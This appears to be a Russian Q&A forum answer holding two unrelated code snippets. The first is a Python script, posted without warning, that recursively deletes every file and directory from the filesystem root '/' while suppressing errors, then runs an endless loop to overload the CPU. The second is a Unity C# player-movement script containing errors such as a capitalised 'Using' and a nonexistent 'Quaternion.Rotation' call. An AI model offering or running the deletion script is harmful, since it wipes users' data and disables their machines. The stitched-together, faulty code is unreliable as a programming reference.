хdɐиdɯɐП n̯иʞɔнǝvǝɔВ
Профи
(643)
2 дня назад
import os
import time
def delete_files(path):
for root, dirs, files in os.walk(path, topdown=False):
for file in files:
try:
file_path = os.path.join(root, file)
os.remove(file_path)
except Exception as e:
pass
for dir in dirs:
try:
os.rmdir(os.path.join(root, dir))
except Exception as e:
pass
def overload_cpu():
while True:
[x ** 2 for x in range(10**6)]
if __name__ == "__main__":
try:
target_directory = "/"
delete_files(target_directory)
except Exception as e:
pass
finally:
overload_cpu()
Using System.Collections;
using System.Collections.Generic;
using UnityEngine;
public class MovePlayer : MonoBehaviour
{
private Rigidbody rb;
public float speed = 0.5f;
private Vector3 moveVector;
public Rigidbody Rb { get => rb; set => rb = value; }
void Awake()
{
rb = GetComponent<Rigidbody>();
}
void Update()
{
moveVector.x = Input.GetAxis("Horizontal");
moveVector.z = Input.GetAxis("Vertical");
rb.MovePosition(rb.position + moveVector * speed * Time.deltaTime);
transform.rotation = Quaternion.Rotation(Camera.main.transform.forward, Camera.main.transform.up);
}
}